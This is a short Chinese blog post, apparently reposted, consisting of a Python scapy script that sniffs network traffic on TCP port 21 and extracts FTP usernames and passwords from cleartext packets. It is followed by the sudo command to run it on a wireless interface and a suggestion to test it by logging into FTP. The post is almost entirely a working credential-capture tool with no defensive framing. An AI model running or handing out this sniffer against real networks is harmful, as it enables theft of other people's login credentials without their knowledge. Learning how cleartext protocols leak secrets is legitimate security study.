代码：
#!/usr/bin/env python # -*- coding: utf-8 -*- # @ Author: ssooking # @ Blog : www.cnblogs.com/ssooking # @ Github: https://github.com/ssooking import optparse from scapy.all import * def ftpsniff(pkt): dest = pkt.getlayer(IP).dst raw = pkt.sprintf('%Raw.load%') user = re.findall('(?i)USER (.*)', raw) pswd = re.findall('(?i)PASS (.*)', raw) if user: print '[*] Detected FTP Login to ' + str(dest) print '[+] Username: ' + str(user[0]) elif pswd: print '[+] Password: ' + str(pswd[0]) def ftpsniffmain(): parser = optparse.OptionParser('Usage： python sniffFTP.py '+'-i <interface>') parser.add_option('-i',dest='interface',type='string',help='specify interface to listen on') (options,args) = parser.parse_args() if options.interface == None: print parser.usage exit(0) else: conf.iface = options.interface try: print 'FTP sniffer is running....' sniff(filter='tcp port 21',prn=ftpsniff) except KeyboardInterrupt: exit(0) if __name__ == '__main__': ftpsniffmain()
运行嗅探脚本： sudo python ftpsniff.py -i wlan0
现在我们登录ftp进行测试
嗅探结果
转载于:https://www.cnblogs.com/ssooking/p/6095714.html
